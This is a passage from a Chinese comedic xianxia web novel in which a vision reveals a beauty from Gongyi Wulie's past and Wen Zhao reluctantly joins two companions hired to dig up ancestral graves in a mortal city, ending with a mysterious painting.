众人热切地紧紧盯着虚空幻影,不用猜都知道,是想看公仪无冽的笑话。 那幻影中渐渐出现了一处青幽庭院,庭院中几株高大的雪悬花树,花朵开得透彻饱满,雪悬花的花叶落在庭院中,一地红白云霞。 廊檐下,公仪无冽长身玉立正站在一方石桌后,面前一方雪白宣纸,执着笔墨似是在写着什么。 众人认出来了,那是几十年前的公仪无冽,那时的他还没有似如今被裹在凛然彻骨的寒意中,潇潇衣袍,说不尽的风流雅蕴。 而在风吹得雪悬花飘舞,吹起了公仪无冽的衣袍时,蓦然一道声音在幻影中响起:“公仪无冽!” 喜悦的,灵动的,如山涧中初春的第一捧春水流动。 星空下所有人顿时一怔,未见其人,先闻其声,这道声音未免太过好听了。 而就在这道声音响起后,公仪无冽始终淡然自若的脸色终于变了,一双眼倏然漆黑如墨,里面仿若冰封着经年寒冰,霍然看向虚空幻影,面色一刹那竟是森然的可怕。 禅宗弟子寂长檀脸色也倏然变了。 而其他人未曾注意到这两人神色的变化,都怔怔地目不转睛地看着虚空中的幻影,神色有点茫然,而在茫然中又似是在期待着什么。 众人目光一错不错地盯着幻影,那幻影中渐渐出现了一簇火红的衣摆,如一株绯丽的红樱,在风中旋转出层层美丽的涟漪。 天地仿佛都在跟着旋转,在旋转中,一头如瀑的青丝蓦然闯入众人的眼帘。 一个人的身影背对着众人如一只翩跹的红蝶,奔向廊檐下的公仪无冽。 此刻漫天星空下,安静得寂寂无声。 所有人都愣愣看着这道身影,只是一道身影便牢牢吸引了他们的心神,令他们哑然无声。 幻影中,那道奔向公仪无冽的身影,蓦然停在了院中一株雪悬花树下,对着廊檐下的公仪无冽道。 “公仪无冽,阿幽教我跳了一支舞,我把这支舞给你做生辰礼物好不好?” 廊檐下的公仪无冽手中笔墨一滞,他放下笔,抬起头来,看着雪悬花树下的人:“几个字要学上十日半月,你竟然学会了跳舞吗?” 那道人影哼了一声:“这支舞我只学了三遍就会跳了。给你说过很多次了,我只是对学知识不感兴趣而已。” 公仪无冽眼底泛起一丝笑意:“哦,只学了三遍就会了,听着很厉害。” 不服气的声音:“你不信吗?我跳给你看。” 他跳了起来,一步一步的舞步,那样宛转清致,又浓丽撩人,如一枝雪悬花长出幼小的花骨朵,一日日长大,绽放,开花,开出最美的姝色的全过程,美丽得勾魂夺魄。 幻影外,无尽夜色中,似是连风都凝滞了,所有人无不神色怔愣,被这样一支倾国倾城的舞姿震撼。 一舞之后,他有微微的喘息,素白的一只手擦过额边,动作间如瀑的青丝扫过衣袍如风拂过红樱,他说道:“这支舞是不是很好看?阿幽说这是从北洲流传过来的一只舞,曾经很有名,但如今却没几个人会跳了,他还说我是他见过的跳得最好看的。” 公仪无冽深邃如古潭的眼眸静静看着雪悬花树下的人,良久,却未曾开口说话。 “好看吗?是不是很好看?”他偏着头问着,有些疑惑,“你怎么不说话?” 半晌,公仪无冽的声音终于响了起来,他眼中浮出笑意:“你总得让我思考一下怎么说。” 顿了顿,公仪无冽轻声一笑道:“不过你确定要我说吗?” “你……你说。” 公仪无冽挑眉,笑道: “只学了三遍,你确定学会了吗?我怎么看着像是跳错了许多,有点像一只灵兽溺水了在水中扑腾。” “公仪无冽!” 那道身影生气了,风吹起一地雪悬花,那样美的花色,而后那道身影终于在幻影中转过了身。 随着他的转身,漫天夜空绚丽繁星仿佛都在这一刻全部失色。 幻影中的人,似一场无边无际的红色的大雪,这雪这样大,这样美,似携着万钧之力重重下进了他们的心中。 那样瑰丽的惊心动魄的容貌,流光璀璨的一双眼,就这么震撼地出现在他们的眼中…… 所有人神色一空,空得如季夏时节大雨冲刷过的青青屋檐,一种被惊愕过度的完全的空茫。 这样的美人是真实存在的吗? 幻影中的人已经消失了,可是所有人脸色却更加茫然了,茫然地看向公仪无冽。 其中一个天泽宗的白衣弟子蓦然又想起了六十八年前大国那桩往事。曾经他遥想的如果有那么一个美人该长什么模样,如今他终于知道了,原来是这样的倾国倾城,让人见了失魂。 难怪大国国主不惜出动隐士也要得到这样的美人。 可如今这什么局面? 所有人都想到了,公仪无冽要娶的道侣是林悠,那意味着他把那样美得惊心动魄的美人给抛弃了吗? 所有人:“……” 而又有人想起了百里雪孤,若是他在场,约莫已经和公仪无冽打起来了吧。 不知过了多久,林悠踉跄后退几步,脸上血色一点点褪尽。 他白着脸抬头,眼中满是不可置信地看向公仪无冽,似是期待着他说点什么,说这是个幻境,虚假的幻境。 而公仪无冽却没看向他,他看着幻影中生气的人渐渐消失,慢慢闭上了眼睛。 好看,怎么会不好看,他做什么都好看。那是他一生之中,收到的最好看的最美的生辰礼物。 那一年,梅树下,他出现在他眼中时,他就说过了他好看。 想到他在天泽宗,心中蓦然柔软,公仪无冽复又睁开眼睛,一只手伸出,继续算起了星空中的万千星盘。 24. 心碎 师叔祖请的这顿饭,可以说是一掷千金,按理来说,天降免费大餐,这对温昭来说,本应当是一件喜事。 然而这顿饭吃到尾声,却是令温昭着实难以开心起来。 刚吃完饭,便有人上门来敲门了。 上门的人是来做促销的,说是因为前不久翻船的事故,实在令人痛心,他们老板由此推出了新的业务。新业务开张,旨在为了帮大家排忧解难,目前前十个人可以免费享受他们店铺的业务。 温昭一听,不禁心花怒放,暗道,他这是遇到卖保险的了。没想到他竟然也有运气不错的时候,还能领到免费的保险。 温昭盘算着,这份保险他可以填榆笙和李管事的名字,如果他真出了事,能给二人拿一点保险费也是好的。 就在温昭盘算时,却听那帅哥道:“不知三位可有什么要杀的人未杀?我们老板新店开业,可以免费帮杀,每个人限杀名额三人。” 温昭:“…………” 温昭面色一僵,而后面色僵硬地看着师叔祖领了免费帮杀业务,洋洋洒洒写了五页纸的名单。 温昭:“……” 裴之炎也领了免费帮杀业务,斯斯文文写了两页纸的名单。 温昭:“……” 轮到温昭时,温昭愤怒了,愤怒地连忙联系了榆笙和李管事,问他们有没有要杀的人,他这里在做免费帮杀活动,限杀三人。 榆笙:“……” 李管事:“……” 最终在温昭的一番努力之后,他还是坚强地提交了一份卷子,白卷。 温昭觉得有点心累,就在温昭心累时,又有人来敲门了。 敲门的人是来找师叔祖的,来的人身着白金蓝袍,手戴碧绿扳指,面貌普通,却有一番发号施令的上位者风姿,看着就是个大人物。 大人物来找师叔祖帮他办一件事,酬劳十分丰富,又是送灵石又是送灵药,让师叔祖有需求尽管开口提。 把酬劳谈妥后,那个人当即拿出了一张地图,递给师叔祖。 温昭看了一眼,上面标了少说十来处红点,心下不由得好奇,这是难不成让师叔祖去某处秘境中取什么东西? 温昭在心中激动盘算,若是师叔祖接下了这桩生意,他岂不是可能就不用在凡界刨坟了? 谁知温昭在心中再次盘算时,就听那个人对着师叔祖道:“还请前辈帮我把这图纸上的祖坟都给刨了。” 温昭:“…………” 温昭身子一晃,差点从木凳上摔下去,还是裴之炎扶了他一把,才让他勉强稳住了身体。 温昭面色木然地看向师叔祖,就见师叔祖接下了这笔生意。 温昭木然着脸起身,来到了灵船的窗户口,而后悲怆地扶住了窗沿,悲怆地眺望远方茫茫海域。 温昭心中凄楚,他早该知道的,虽然数百万修士的祖坟是有点多,但师叔祖毕竟修为高深,刨起坟来更是宛如疯狗,如今刨了两百年却还没刨完,肯定是有原因的,因着他还兼职赚外快帮别人刨祖坟。 这就不难怪师叔祖一生致力于刨别人的坟,不是在刨坟的路上就是在刨坟,还能日子过得纸醉金迷,一掷千金。 眼见着接二连三的人找上门,师叔祖一连接下了十几个单子,温昭眼前一黑,扶住窗口的手疯狂打抖。 温昭悲怆地在心中安慰自己,这次没有坐师叔祖的灵舟,也未必就要他去刨坟,先不要慌。 裴之炎端了一盘瓜果来到窗边,看着温昭眼含笑意:“今天这单子算少的,我听说,多的时候,无前辈曾一天接了上千个单子。” 温昭:“……” 温昭面色呆滞:“多少?你说多少?” 裴之炎扑哧一笑,扶着窗沿笑得弯腰,半晌,才含笑看着温昭道:“骗你的,最多也不过就几十个罢了。” 裴之炎笑着道:“无前辈是找不到复仇之人,他们却不是。比起刨祖坟,对那些人来说,自然是把人杀了更痛快。” “杀手的生意当是比无前辈的生意好多了。方才你也见了,又有一家新店开业。可惜小昭却交了白卷,早知道我就分你几个名额了。” 温昭:“……” 温昭默默看着裴之炎,那还真是谢谢你了。 “好了。”裴之炎眼中笑意盈盈,“要吃点吗?后厨免费送的,味道不错。” 温昭没有接,他说出了自己的疑惑:“你不会觉得我长得……不太美观吗?” 他这长相虽说不至于人见人死,吓跑几个人还是没问题的。 裴之炎听了这话,好看的眉目一挑,连半点犹豫都没有,却是斩钉截铁道:“不觉得。” 温昭:“……” “自然,好看肯定也是算不上的。”裴之炎打量着温昭的面容,半晌后,评价道,“不过独特在长得独特。我想问有些时日了,你这眉毛是自己画的么?怎么连眉毛都没有。” 温昭:“……” 温昭转身就走。 裴之炎笑着拉住了温昭:“对我来说,容貌这东西并不重要,你无需觉得自己难看。” 温昭闻言,不禁看了裴之炎一眼,心情实在一言难尽。 未曾想这真的是一个喜欢丑人的人,若是他喜欢长相普通一点的丑人,他倒觉得还算正常,审美自由嘛。 可要命的是,裴之炎看起来像是真有点喜欢自己。这就着实让温昭为裴之炎担忧了。 毕竟他下了灵船之后,就要摘下这个法器,如此一来,裴之炎喜欢的丑人也就随之消失了,他很快就要迎来失恋了。 温昭不由得有点忧虑,他想到了裴之炎刨坟时疯牛般的模样,忧虑这个人很有可能性格极端,可温文尔雅清贵公子,也可疯狗再世。 若是裴之炎性格极端,那便很有可能在失恋之后,开始寻找他的替身,拉着人去找医修整容,最终整出一个个丑人来。 这真是无法想象,裴之炎要给那些人多少钱才能让那些人同意整成自己这模样。更无法想象,如果批量生产出这么多丑人,那个医修要多声名狼藉。 在温昭忧虑时,裴之炎将果盘往他面前移了移,低声一笑:“吃点吧,这些东西到了凡界,要花上百金千金才能吃上了。” 温昭听了百金千金不由得忧虑加深,忧虑地伸出爪子拿了盘中最大的一个瓜,接着化忧虑为食欲,吃得风卷残云,吃得如牛饮水…… 而后等温昭忧虑地回过神来,他就发现自己把盘子里的瓜果啃得一个不剩。 裴之炎一只手撑在窗口上托着下颌,一只手端着空盘子,眉眼弯弯地看着他。 温昭:“……” 温昭抽了抽嘴角,他面前这个人,是一个比白慕绥和凌陌云还要扭曲级的人物。 白慕绥和他老婆先有半年的亲密关系为前提,凌陌云约莫知道了自己的真实容貌,可他眼前这个人却是真正的迎丑而上。 他实在难以想象这人出生在什么样的家庭里,才能让他形成这种独特的审美观。 想到一个半月后,对方便要失恋了,温昭心中难免有点同情。 温昭同情地爬到了床上,决定闭眼睡一觉。 九月的界海,风平浪静,别说海兽了,连条鱼的影子都寻不见。 不过这约莫只是温昭修为不高,眼力见不行,以至于才看不见而已。 从窗口向下眺望海面时,温昭只能看见海水跟墨汁似的浓黑,要让他从这样的海水里找到点其他东西,实在非常为难。 更令温昭为难的是,在翻了三艘灵船之后,如今有一项活动在灵船内很是流行。每逢有灵船起航,灵船内便会开设一场赌局,押此行会不会翻船。 大家普遍压了不会翻船,温昭本也想顺大流押不会翻船,但令温昭为难的是,裴之炎押了翻船,师叔祖跟着押了翻船。 所有人:“……” 裴之炎给出的理由是,当大家普遍觉得不会翻船时,便极有可能翻船。已经有一个月没有翻过船了,他们此行便极其危险,很容易翻船。 温昭觉得裴之炎所言极是,以至于在下押时迟迟做不了决定。 最终温昭为难一番,跟着裴之炎和师叔祖押了翻船。 所有人:“……” 有了温昭三人押了翻船后,渐渐的,开始有不少人跟着三人押了翻船,总算让一面倒的赌局,扳回来了几分局面。 下押后,大家不禁开始等待危险来临。且认为在等待时不能干坐着等待,于是大家放宽了钱袋吃吃喝喝,隆重地等待危险来临。 然而,一个月过去了,危险却还没有降临,钱袋却日以消薄,以至于等得大家开始焦躁。 这时裴之炎安慰温昭,危险往往会在最后一刻来临,在希望中让人绝望,让大家稍安勿躁。 大家认为裴之炎所言有理,于是大家又开始等待。 大家等啊等,等啊等,一个半月后,灵船没有危险地停泊在了凡界的港口。 所有人:“……” 未曾想他们等来等去,等到最后,危险却始终没有来临,这令大家非常愤怒。 温昭输了赌局,十分心碎,但好在那一个半月中他没有放宽了钱袋,于是此次输的钱还算在承受范围内。 凡界,金塘城。 金塘城依着界海而建,城中如云中城一样也是水雾弥漫,雾气缥缈如建在云端。 温昭看着被雾气笼罩的金塘城,想不明白一个问题。界海的海水是黑色的,为什么云中城和金塘城的雾气却是白色的,难道不应该也是黑漆漆的吗? 温昭想不明白,于是将这个问题说给了裴之炎和师叔祖听,想要二人让他明白。 裴之炎:“……” 师叔祖:“……” 师叔祖一派威严,不吭声。 裴之炎手中拿着一把折扇轻敲:“好问题,让我思考一下该怎么回答这个问题。” 于是温昭开始期待裴之炎思考后给他答案。 三人在金塘城入住了客栈,洗漱了一番,用过了饭,谁知裴之炎却还没有给出答案,这令温昭不由得有点着急,追去裴之炎房间询问他思考好了没有。 裴之炎冷静说让他再思考一下。 温昭只得叹息着回到了自己的房间,想着他是等不到这个答案了。 师叔祖和裴之炎这一个半月在灵船上照顾温昭颇多,一日三餐不是师叔祖就是裴之炎请客,出手十分阔绰。但温昭想到二人也是靠着刨坟才赚来这些钱财,赚钱之路也很是艰辛不易且令人沉默。 于是温昭决定自己要礼尚往来,不能吃白食。但他只请得起另一份菜单,而那二人看了菜单一眼,道:“这是给灵兽吃的?” 温昭:“……” 温昭认为这份菜单也是给人吃的,但那二人坚持是给灵兽吃的。 于是温昭只得拿着菜单去找了船上的管事的,询问这份菜单是给人吃的还是给灵兽吃的。管事的说,是给人兽吃的。 温昭:“……” 温昭僵硬着转身离开,拿着菜单的身影在风中萧索而又脆弱。 那管事的又在身后大喊:“哎哟,别误会,是给人和兽吃的。人可以吃,兽也可以吃,所以是人兽可吃嘛。” 温昭:“……” 虽然人和兽都可以吃,但请客一事还是破碎了,因着那二人表示不吃人兽同吃的东西。 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台子上的说书先生,在说当今凡界几个国家的局势。 “各位应该都知道,如今凡界有五大强国,那乾国便是五大强国之一……” 温昭在心中点了点头。因为要去凡界养老,温昭也事先打听了一下凡界各国的事,这乾国国力强大,百姓安居乐业,是他养老的第一人选。 说书先生:“说是那望月佳节,乾国国主在月下神游,不知为何神游到了池塘中,第二日已经凉透了。因为凉得太透,尚未来得及立储君,以至于九位皇子夺嫡,夺得如今乾国国内战火弥漫,百姓苦不堪言……” 温昭:“……” 温昭心想,便是没了乾国,他还有第二个备选国家,比如兆国也不错,人口少是少了点,但民风淳朴。 说书先生摸着胡须,继续道:“那五大强国中,实力最弱的便是兆国,相传三年前,兆国国主在一次王侯会盟中,被乾国国主羞辱,本欲起兵讨伐,但两国人口实在悬殊太大,若是打起仗来,只怕要输。” “兆国国主回去彻夜难眠,郁结整整三年,终于在最近推行了新的国令,下令国内百姓下至十六上至八十,必须婚配,不婚配者每年缴罚金三千铢,鞭刑三百鞭。可怜八旬老翁老妇,儿子儿孙都满堂了,若是孤身一人,还得嫁为人妇,还得作他人夫,还要为国家的强盛生孩子。” 温昭:“……” 温昭颤抖着从怀中摸出自己做的攻略小册子,跳过乾国,兆国,颤抖的目光开始移向第三个国家苍国。 说书先生:“那苍国,一场突如其来的瘟疫,举国上下尸横遍野……” 温昭:“……” 温昭颤抖地把目光移向第四个国家延国。 说书先生:“比起乾国,兆国,苍国来,延国国内如今倒是十分平静……” 温昭听到这里,总算松了口气,可这口气才松到一半,便又听说书先生道:“可不平静吗?延国国内五千万人口,上到王公贵族下到平民百姓,一夜之间神秘失踪,人去楼空,此事引起了极大恐慌,如今其他几国都在派人调查延国国内究竟发生了什么事。” 温昭:“……” 温昭颤抖着握紧了他的小册子,欺人太甚,实在是欺人太甚。 他一个八十七岁的孩子,不就是想找个地方养老,至于这么残忍对他吗? 就在温昭心碎并愤怒时,一道声音在他耳边响起:“你这是什么?乾,兆,苍,延……这是要去云游么?” 来人瞟着温昭手中的小册子,若有所思:“怎么唯独少了五国中的祈国?” 温昭听着这道声音,霍然抬起了头,面前的裴之炎和师叔祖正看着他。 温昭:“……” 温昭差点给这二人跪了。 裴之炎牵起了温昭的衣袖,将人领往门外:“走吧,云游的事先放一边,我们先去做一件紧要的事。” 温昭木然着脸,嗓音空洞:“什么紧要的事?” 裴之炎:“去买点改进过的铁铲。” 师叔祖在一旁肃穆地点了点头。 温昭:“……” 温昭脚下一滑,被裴之炎眼疾手快提在了怀中。 温昭扒着人泪流满面,草啊,还真是来凡界刨坟的! 敢不敢刨坟时别带上我? 一个时辰后,温昭站在一处高台厚榭阆苑琼楼的隐秘禁地中,疯狂抽搐着嘴角。 谁能来告诉他,为什么刨坟不是在荒郊野外,而是来到了人家禁地来刨坟了。 这很容易被打死好吗? 裴之炎看着温昭:“不必惊慌,左右不会让你死在我后头。” 温昭:“…………” 师叔祖拿了三把改良过的铁铲,一人一把分了后,一声令下:“刨!” 那二人瞬间化身疯驴,对着一处密室的地面疯狂刨了起来,掀起泥巴漫天飞扬。 温昭:“……” 温昭心碎地拿下了头顶一块飞来的泥巴,心碎地拿着铁铲,心碎着朝四周紧张张望,这一看,冷不丁对上了不远处一株大树上一双眼睛。 温昭:“……” 温昭默默转身看了看正如疯驴刨坟的师叔祖和裴之炎。 温昭又转回了身,看了看树上那双眼睛,继而一铁铲敲在了自己头上,晕……没晕过去。 温昭:“……” 身后师叔祖:“小昭,快点过来帮忙。” 裴之炎:“小昭,速战速决。” 温昭和树上的那双眼沉默对视。 25. 画像 温昭沉默,十分沉默,沉默着绝望。 他也不知道为什么有人白天跑来人家家中刨坟,刨之前还不知道踩个点,正好被人家抓个正着。 温昭沉默地和树上的眼睛对视片刻后,他拿着铁铲走到疯驴刨坟的师叔祖和裴之炎面前。 温昭小声对二人道:“树上有人。” 二人刨坟的动作一顿,抬头看向温昭。 温昭有点紧张:“怎么办,我们被人发现了,会不会被送进官府?” 温昭顿时忧愁,也不知道刨人祖坟犯不犯法,会不会被关进牢里。他们三人若是被关进牢里,如果再从牢里刨一条路越狱,会不会行得通。 听了温昭的话,师叔祖手中拿着铁铲,满面霸气:“小昭不用怕,这铁铲除了刨坟,你可知道还有什么用途?” 师叔祖随即展示了一下铁铲的用途,拍西瓜似的将旁边一块大石拍成了碎末。 温昭:“……” 裴之炎伸出好看的手指如拂一枝花将铁铲上一块泥巴拂去,语带笑意道:“小昭不用担心,这金塘城的官府向来不管事,若是被人送到了官府,只需花点钱就能出来了。我这人,什么都不缺,钱更不缺。左右缺钱了,再刨几座坟就行了。” 温昭:“……” 难怪大白天就这么明火执仗跑来刨人家祖坟了,这二人有拳头又有钱,哪里的坟不敢刨?怕是皇陵中的陵寝在他们手下都要被掀了棺材板。 温昭转身,看向树上,就见那双眼睛还在看着他们。 师叔祖和裴之炎也看见了,但二人很嚣张,看了一眼就继续疯驴刨坟,刨得土块翻飞,尘土飞扬,完全不把对方当回事。 师叔祖的声音听起来难得没那么沉稳,有几分高兴:“小昭快来试试新买的铁铲,这个好用。” 裴之炎轻笑道:“新铁铲倒是省力不少,小昭应该会喜欢。” 温昭:“……” 头顶日光稀疏,雾气缥缈,有几声鸟叫声从树梢传来,婉转袅娜。 温昭拿着铁铲思考良久,认为光天化日之下刨人祖坟,实在是缺德。人太缺德了,很容易倒霉。以往那些做缺德事的人,通常不都在黑暗中偷偷摸摸缺德吗?他们大白天的缺德,太缺德了。 为了不让自己太缺德,从而导致倒霉,温昭从怀中摸出李管事送的悍匪头套戴在了脸上,然后跑过去,帮忙刨起了坟。 约莫是这一个半月在灵船上跟着师叔祖和裴之炎天天大鱼大肉大吃大喝,温昭挥舞着铁铲时,发现自己力气似乎大了一点,当然这更有可能是新铁铲给他的错觉。 说起来,他在天泽宗当杂役时其实吃得也不差,宗主为人很大方,也很要脸,每次去秘境发了财,就会赏一些好东西给门下弟子,杂役也有颇丰厚的一份。 温昭每次领了那些什么灵果灵水灵参后,考虑到他这个身体吃什么浪费什么,本来是打算把这些东西卖了出去换成钱,那么他至少就可以提前几十年坐拥万贯家财。 但宗门内有十几个师兄以身作则,卖了宗主的东西后,处以十倍罚钱,还要当着全宗门的人写检讨,这最终使得没有人再敢以身试法,温昭也不得不扼腕放弃。 师叔祖看着温昭脸上的头套,不知想到什么,目露深色:“小昭这个行头是什么时候买的?来金塘城买的吗?” 裴之炎打量着温昭脸上的头套:“眼睛和鼻孔露在外面能理解,但为什么两边腮帮还要露出来?” 温昭心道,这当然是因为当年李管事和人私奔时,对自己的容貌做了改良,在脸上贴了一串络腮胡子。可戴上头套后,没想到在头套的挤压下,络腮胡子扎脸,于是只得在头套上剪了一剪,好露出腮帮。 温昭考虑到来龙去脉说起来太麻烦,说给他们听势必就要提到李管事,就得解释李管事是谁,还得解释李管事又为什么要送温昭头套,这又得提到白慕绥……照这么说下去,今天这坟也不用刨了,于是温昭道:“我觉得我的腮帮长得比较好看,我想把它露出来。” 师叔祖:“……” 裴之炎:“……” 师叔祖和裴之炎沉默地端详了温昭“好看”的腮帮,看了一会儿,二人实在说不出好听的话,只好干回正事,刨人祖坟。 温昭因此也不再多说,三人开始刨坟。 在被人带人打上来时,地面上已经被刨出了一个至少十米深的深坑。温昭其实想问师叔祖和裴之炎,为什么不能直接在墓门上刨一个洞,这样他们就可以从洞里钻进去,省时又省力。但温昭考虑到那二人这么做必然有深意,比如那门上有机关,一动就会触发机关万箭齐发之类,于是没有多问。 “何方狗贼,竟然敢来刨我家祖坟!” 远处花影层叠,一群人轰隆隆地出现在院中,跑了过来,手中全都拿着武器,有剑,有棍,有菜刀,有斧头,还有白萝卜。 为首的人远远见了地面深坑,不断有土块从坑里被抛出来,已是气得跳着脚大骂:“狗贼!还不快住手!” 一群人很快围了过来,围在坑口围成一圈,万分惊怒地把坑里的三人望着。 师叔祖和裴之炎视若无人,十分淡定,这会儿不再竖着刨坑,开始横向刨了,应当是要刨出一条通往墓室的暗道来。 只有温昭百忙之中,抬头看了看上方的人,这一看,顿时只听上面的人齐齐抽着气:“这是什么头套?” “这莫非是偷了哪家孩子的尿布裹在了脸上?” 温昭:“……” 旁边的裴之炎忽然扶着土坑,笑出了声。 温昭怒了,怒着刨坑。 顿时又听上面有人道:“还敢刨!老爷,这些人太猖狂了!让我下去教训他们!” 那人说道,便扯下了旁边几人的裤腰带,拧成一根绳子,把绳子的一头绑在了自己的腰上。 “拉着点!” “王管事小心啊!” 王管事手中拿着两把刀,晃晃悠悠被吊在半空中往坑里下落。 温昭:“……” 王管事下落了五米之后,却无法再下落,因着绳子到头了。 吊在空中的王管事大喝道:“狗贼,还不住手!” 这时,一心刨坟的师叔祖终于抬头向上看了一眼,露出了他威严的一张脸。 那王管事冷不丁看着师叔祖的容貌,却是猛然面色大变:“快把我拉上去!” “怎么了?” “王管事怎么了?” 王管事一声怒吼:“叫你们拉我上去!” 然后就被拉了上去,面色白着瘫在了地上。 老爷脸色焦急:“怎么了?” 王管事惊惧道:“那坑里的人我小时候见过,我们村山中那么大一片坟地,都被他刨光了。” “不止我们村,隔壁村也被刨了。” 王管事脸色惊骇:“传说有他出现的地方,没有一个坟能在他手下活下来。没想到几十年后,我又遇见了他。” 老爷一听,面色瞬间凝重:“那我们什么都不做,就让他刨我家祖坟吗?” 王管事摇了摇头:“也不是什么都不做。” 一眨眼之后,王管事领着他全家老小,跪在了坑口。 “掘墓大仙,您看看我们有没有修仙的资质啊。” “大仙,我儿明明天赋神力,可是却被说没有灵根,无法修仙,请大仙看看啊。” “大仙,就让我们全家跟着您掘墓吧,我们家祖上就是盗墓的……” 温昭:“……” 老爷:“……” 其他人:“……” 坑里,师叔祖刨得头也不回,只说道:“有灵根。” 王管事一家顿时大喜。 又一眨眼之后,老爷领着全家老小几十口人跪在了坑口:“请大仙看看我的孩子有没有修仙之资!” 这时,师叔祖抬头看了一眼坑口那些人:“穿蓝衣服流口水的那个娃,有灵根。” 老爷瞬间大喜。 “哈哈哈哈,我就说我儿定然不凡,我儿能修仙!” 老爷大喜之后,忙不迭对着身后侍从道:“还愣着干什么,还不下去帮仙人刨!” 一群人轰隆隆架着梯子,下到坑里,不一会儿就把坑里挤了个满满当当,无法动弹。 温昭:“…………” 人太多,温昭在坑里无法转身了,最终裴之炎揽着他的腰,抱着他从坑里飞了出去。 这刨祖坟的事,便交由那些人继续刨。 不久之后,通过暗道,温昭一行人走进了一处密室之中,中间摆放着一副棺材。 师叔祖看了一眼棺材,老爷当即找人上前,让人推开了棺材板。 老爷:“仙人,这是家父。” 温昭:“……” 好一个大孝子。 温昭眼皮狂跳,他以为师叔祖要把这位家父拎起来跪在棺材里,却见师叔祖只是扫了一眼棺材,什么都没做。 师叔祖和裴之炎在墓室中晃悠了一圈,带着温昭离开了。 半个时辰后,客栈里。 温昭面露不解:“我们刚刚不是去刨人家祖坟的吗?为什么没把人拎起来跪下?” 裴之炎:“因为这是在灵船上接的一桩生意,主要是为了帮人找一个东西。” 温昭疑惑:“找一个东西?” 裴之炎喝着茶水,慢慢道:“嗯,帮祈国太子找一个东西。” “祈国太子?”温昭闻言,一楞。 裴之炎似是想起什么,道:“你方才那个小册子上怎么没写祈国?” 温昭心想,这还用问吗? 温昭:“不是说祈国这个国家很变态吗?尤其是那个祈国太子是大家推选出来的最变态的一位,年年都荣登再有钱也不嫁的魁首。” 裴之炎:“……” 师叔祖:“……” 裴之炎沉默半晌,含笑看向温昭:“你从哪里得知的?” 温昭:“大家都这么说的。说祈国太子为了皇位将他十几个兄弟杀光,还将祈国国主软禁,如今已经是祈国真正的国君,只是不知道为何,没有继位罢了。” 温昭还记得榆笙提起祈国太子时,表情颇为惊惧,说幼年时曾跟着父亲去过祈国参加过一次国宴,遇见过当时还不是太子的祈国的太子,吓得生了一场大病,没几日就被父亲带了回去。 裴之炎再次沉默,片刻后夹起一块菜放进温昭碗中,道:“应当是有很多谣传,我听说那祈国太子礼贤下士,仁爱百姓,祈国国内民风也还是颇为朴素……” 温昭对这些话不置可否,他也没真的去过祈国,祈国到底风貌如何,那祈国太子是不是如传闻中的修罗暴君他也不知。 温昭低头看了看自己碗中:“你为什么给我夹块姜?” 裴之炎看了一眼温昭碗中的姜,蓦然扶额,一笑道:“抱歉,不好意思,夹错了。” 裴之炎又夹了一块肉放进了温昭碗中。 师叔祖也给温昭夹了一块肉:“太瘦了,你这样刨坟时怎么有力气。” 温昭看着碗中的肉不禁泪流满面。 裴之炎一笑,接着给温昭夹菜,道:“多吃点,今天我们还有九座坟要刨。” 温昭:“……” 温昭凄楚地吃起了肉。 温昭挣扎道:“我好像没有刨人祖坟的天资。” 师叔祖面色沉稳:“不用着急,慢慢来,多看看就会了。” 裴之炎笑道:“过几日,给你弄点东西,好好补补身子,以后刨起坟来就得心应手了。” 温昭:“……” 一个时辰后,温昭跟着师叔祖和裴之炎,再次出现在了一户人家的祖坟中。 这次没有人发现,师叔祖和裴之炎在门上打了一个洞,三人从洞里钻进去了。 温昭见此,不由得问起了方才在那一家时为什么不在门上打洞。 裴之炎是这么回答的,买了新的铁铲总得试试用起来顺不顺手,如果用的不顺手,就去找店家退货。 温昭接受了这个理由。 又半个时辰后,温昭跟着二人出现在又一户人家的祖坟中,正遇两人在棺材上偷情…… 温昭:“……” 温昭自觉身心受创,于是向师叔祖和裴之炎表示无法再继续今日的刨坟,最终被允许在客栈休息。 温昭睡了一觉,梦中纷扰,梦到了许多。 醒来时,外面天色已晚,灯火在雾色中透出朦胧轻柔的光晕来。 师叔祖和裴之炎已经刨完了坟赶回了客栈,还给温昭带回来了一碗灵肉粥。 温昭被叫去裴之炎房间里喝粥。 温昭喝着粥,远处金塘城万家灯火,烟火缭绕,看着同样喝着粥的师叔祖和裴之炎,心中蓦然有点岁月安好。 他想到了天泽宗的榆笙和李管事,此刻心境竟然有点像自己曾经呆在他们身边时。 用过饭,裴之炎将一个裹在黑布里的东西放在桌上。 温昭凑过去打量:“这就是要找的那个东西?” 裴之炎看了温昭一眼,眼含笑意:“可能是。” 温昭:“为什么可能是?不能确定吗?” 裴之炎:“相传那祈国太子也是帮人找东西,和其他人做的一场交易。那人只告诉祈国太子他要找的是一幅画。” “不过却没告诉祈国太子要找的是一幅什么画,且要求他找到画后不可打开。” “祈国太子便问,为何不可打开?那人说……” 温昭好奇道:“你怎么知道的这么清楚?就像躲在人家床底下偷听了。” 裴之炎:“……” 裴之炎面色不变道:“帮人办事,这点打听消息的能力还是有的。” 师叔祖在旁边认同地点头,显然对裴之炎打听消息的能力很认可。 温昭于是接着好奇道:“那人说什么了?” “那人说画中是一个美人,太子还是不要看得好,勉得看了生了心魔。相传祈国太子听了后便笑出了声。” 一盏长明灯下,裴之炎面色有几分笑意,喝着茶水,缓声道:“祈国太子当场便告诉那位,还以为是什么,原是位美人,他对美人不感兴趣,对方大可放心。” 很显然,裴之炎也对美人不感兴趣,师叔祖就更不感兴趣,料想这二人应该对别人祖坟最感兴趣,以至于桌上那副美人画像无人问津,只等来人把它取走。 饭后,师叔祖拿着地图研究下一处要刨的祖坟,裴之炎拉着温昭出门消食散步。 街市热闹,星明月朗,温昭望着自己身边这个频频让人回头引起各种事故的人,心中不由得叹息。 真是难以想象,有人放着美人不感兴趣,非要陪自己这个丑人散步。 走在金塘城的街头,这里也是凡人和修士混居,但给温昭的感觉和天泽宗山下的小镇却还是有所不同,可能是因为他没来过这里,可能是他知道这里已经不是天泽宗的地界。 这个地方对温昭来说,是一个完全不熟悉的地方,没有天泽宗的人,更不会再遇见他。 他们那样的修士,修真界广阔的疆域都尚且走不完,又怎么会出现在不值一提的凡界之中。 温昭深知大多数修士都是看不起凡人的,尽管修士也是从凡人变成修仙者,没有谁生来就是修仙者。而踏上修仙之路后,很多人便斩断了凡尘,至死都不会再回凡界。 冷不丁被人握住了手,炙热的温度从二人交握的掌心中传来,温昭一回头,裴之炎看着他:“在想什么?前面有坑都看不见。” 温昭又看向前方,果然见平整的路面上,奇葩地出现一个大坑。 